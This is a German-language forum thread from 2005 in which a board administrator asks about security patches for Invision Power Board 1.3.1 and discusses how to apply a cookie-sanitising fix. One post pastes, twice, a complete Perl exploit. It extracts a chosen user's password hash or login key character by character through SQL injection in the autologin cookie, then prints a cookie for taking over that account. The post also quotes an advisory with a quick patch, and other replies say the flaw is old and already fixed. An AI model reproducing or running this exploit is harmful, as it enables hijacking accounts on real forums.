junky 0 Report post Posted July 24, 2005 (edited) hi kann jmd alle security updates für IPB 1.3.1 seit dem es raus ist zusammenstellen? Ich finde manchmal security updates da bin ich unsicher ob die für IPB 1.3 oder für 1.3.1 sind oder bei manchen besagten updates findet man die stellen nicht. Ich will auch keine mods oder sonstige zeugs installieren um diese updates zu machen. Am besten wäre es wenn man ein Security Topic für Ipb 1.3.1 öffnet und alle updates da sammelt. Edited July 24, 2005 by junky Share this post Link to post
fenek 1 Report post Posted July 24, 2005 Guckst Du hier: http://www.ibforen.de/ Share this post Link to post
junky 0 Report post Posted July 31, 2005 (edited) hab da noch was gefunden, Code: #!/usr/bin/perl -w ################################################################## # This one actually works :) Just paste the outputted cookie into # your request header using livehttpheaders or something and you # will probably be logged in as that user. No need to decrypt it! # Exploit coded by "ReMuSOMeGa & Nova" and h*t*p://remusomega.com ################################################################## use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("Mosiac 1.0" . $ua->agent); if (!$ARGV[0]) {$ARGV[0] = '';} if (!$ARGV[3]) {$ARGV[3] = '';} my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; my $user = $ARGV[1]; # userid to jack my $iver = $ARGV[2]; # version 1 or 2 my $cpre = $ARGV[3]; # cookie prefix my $dbug = $ARGV[4]; # debug? if (!$ARGV[2]) { print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2].\n\n"; exit; } my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); my $outputs = ''; for( $i=1; $i < 33; $i++ ) { for( $j=0; $j < 16; $j++ ) { my $current = $charset[$j]; my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*"; my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); my $res = $ua->get($path, @cookie); # If we get a valid sql request then this # does not appear anywhere in the sources $pattern = '<title>(.*)Log In(.*)</title>'; $_ = $res->content; if ($dbug) { print }; if ( !(/$pattern/) ) { $outputs .= $current; print "$current\n"; last; } } if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; } } print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; exit; # ReMuSoMeGa & nova works like a charm davon sollen alle IPB 1.3.1 foren betroffen sein, ich weiss nicht ob dafür ein patch gibt. Die leute amusieren sich hier über die gehackten Ipb 1.3.1 boards. Link: h*t*//h4cky0u.org/viewtopic.php?t=1057&highlight=invision und hier ist ein patch dafür Hackers Center Security Group (ht*t*//***.hackerscenter.com/) Zinho's Security Advisory Desc: Invision PowerBoard 1.3.x - 2.x Privilege escalation through SQL injection Risk: High hacky0u from ht*p://***.h4cky0u.org kindly reported to me an exploit working against 1.3.x and 2.x versions of Invision Power board. This is the quick fix for 1.3.1 It should solve the problem until Invision releases an official patch. # sources/Login.php in 1.3.1 final Replace lines: (about line n. 123) /// $mid = intval($std->my_getcookie('member_id')); $pid = $std->my_getcookie('pass_hash'); //// with this: /// $mid = mysql_escape_string(intval($std->my_getcookie('member_id'))); $pid = mysql_escape_string($std->my_getcookie('pass_hash')); /// The exploit is this (Full credit to h4cky0u for this): #!/usr/bin/perl -w ################################################################## # This one actually works Just paste the outputted cookie into # your request header using livehttpheaders or something and you # will probably be logged in as that user. No need to decrypt it! # Exploit coded by "ReMuSOMeGa & Nova" and h*tt*://***.h4cky0u.org ################################################################## use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("Mosiac 1.0" . $ua->agent); if (!$ARGV[0]) {$ARGV[0] = '';} if (!$ARGV[3]) {$ARGV[3] = '';} my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; my $user = $ARGV[1]; # userid to jack my $iver = $ARGV[2]; # version 1 or 2 my $cpre = $ARGV[3]; # cookie prefix my $dbug = $ARGV[4]; # debug? if (!$ARGV[2]) { print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2]. "; exit; } my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); my $outputs = ''; for( $i=1; $i < 33; $i++ ) { for( $j=0; $j < 16; $j++ ) { my $current = $charset[$j]; my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*"; my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); my $res = $ua->get($path, @cookie); # If we get a valid sql request then this # does not appear anywhere in the sources $pattern = '<title>(.*)Log In(.*)</title>'; $_ = $res->content; if ($dbug) { print }; if ( !(/$pattern/) ) { $outputs .= $current; print "$current "; last; } } if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; } } print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; exit; # ***.h4cky0u.org kann sich das jmd angucken der ahnung vom programmieren hat und bestätigen ob das wirklich funktioniert? vielleicht stefan? Edited July 31, 2005 by junky Share this post Link to post
GreyCrow 0 Report post Posted July 31, 2005 Der Cookie Exploit wurde meines Wissens schon vor längerer Zeit von Invision und Master Matt selbst behoben. Leute (meist mit wenig Ahnung) amüsieren sich immer über Dinge (die sie vielleicht nicht wirklich verstehen). Das sieht man durchaus ja, an den einschlägigen Newsforen wie Heise oder Golem. Trolle gibt es überall. Ich würde mich hier weniger kirre machen lassen, sondern solche Posts gelinde ignorieren. Gerade die genannte Seite ist schon mehrfach unangenehm aufgefallen (bspw. bei BUGTRAQ), da sie Exploits, die schon lange gepatcht waren, erneut posteten und die Credits für sich beanspruchten. Der Autor des Originalexploits hat sich ebenfalls zu Wort gemeldet und berichtet, dass das Gulftech-Team dies bereits Monate zuvor gemeldet und behoben hatte. Master Matt selbst berichtet hier: http://forums.invisionpower.com/index.php?showtopic=168016 Share this post Link to post
junky 0 Report post Posted July 31, 2005 (edited) hi, ich habe gerade nachgeschaut mein IPB 1.3.1 +-------------------------------------------------------------------------- | Invision Power Board v1.3.1 Final | ======================================== | by Matthew Mecham | © 2001 - 2003 Invision Power Services | http://www.invisionpower.com | ======================================== | Web: http://www.invisionboard.com | Time: Tue, 18 May 2004 15:29:13 GMT ... +-------------------------------------------------------------------------- vom 18.04.2004, die ganzen security fixes die danach erschienen sind, muss ich doch manuell einspielen. Diese security Fixes sind nicht drauf. Hat jmd bei Invision Customer Zugang? Kann man dort nicht sehen wieviele security updates für IPB 1.3.1 insgesammt gibt? Edited July 31, 2005 by junky Share this post Link to post
GreyCrow 0 Report post Posted July 31, 2005 (edited) Das wurde doch nun wirklich weiter oben bereits von Sire Fenek gepostet. Dort sind sämtliche Security Fixes für v1.3.1 nach Release in einem Update zusammengefasst, welches man nur noch abarbeiten muss. Für die Security Fixes wird bei IPS nebenbei _kein_ Zugang benötigt, sie sind generell lesbar. Edited July 31, 2005 by GreyCrow Share this post Link to post
junky 0 Report post Posted July 31, 2005 hi danke für die Antwort. Ich wollte alles ohne irgendwelche mods updaten jetzt mache ich es manuell. Jetzt habe ich ein Problem bir funktions.php mein funktions.php in dem ordner "sources" sieht an der Stelle wo gefixed werden soll so aus: /*-------------------------------------------------------------------------*/ // Cookies, cookies everywhere and not a byte to eat. /*-------------------------------------------------------------------------*/ function my_getcookie($name) { global $INFO, $HTTP_COOKIE_VARS; if (isset($HTTP_COOKIE_VARS[$INFO['cookie_id'].$name])) { return urldecode($HTTP_COOKIE_VARS[$INFO['cookie_id'].$name]); } else { return FALSE; } } invision schlägt diesen security code vor http://forums.invisionpower.com/index.php?showtopic=168016 function my_getcookie($name) { global $ibforums; if ( isset($_COOKIE[$ibforums->vars['cookie_id'].$name]) ) { if ( ! in_array( $name, array('topicsread', 'forum_read', 'collapseprefs') ) ) { return $this->clean_value(urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name])); } else { return urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name]); } } else { return FALSE; } } und in dem Security update von Peter steht dieses code //-- mod_sec_update_131 begin return $this->clean_value(urldecode($HTTP_COOKIE_VARS[$INFO['cookie_id'].$name])); //-- mod_sec_update_131 end return urldecode($HTTP_COOKIE_VARS[$INFO['cookie_id'].$name]); welche soll ich denn nun wählen? Share this post Link to post
Stefan 0 Report post Posted August 1, 2005 In diesem Thema hat es Frog auch nochmal beschrieben. Ist soweit okay und funktionstüchtig. Share this post Link to post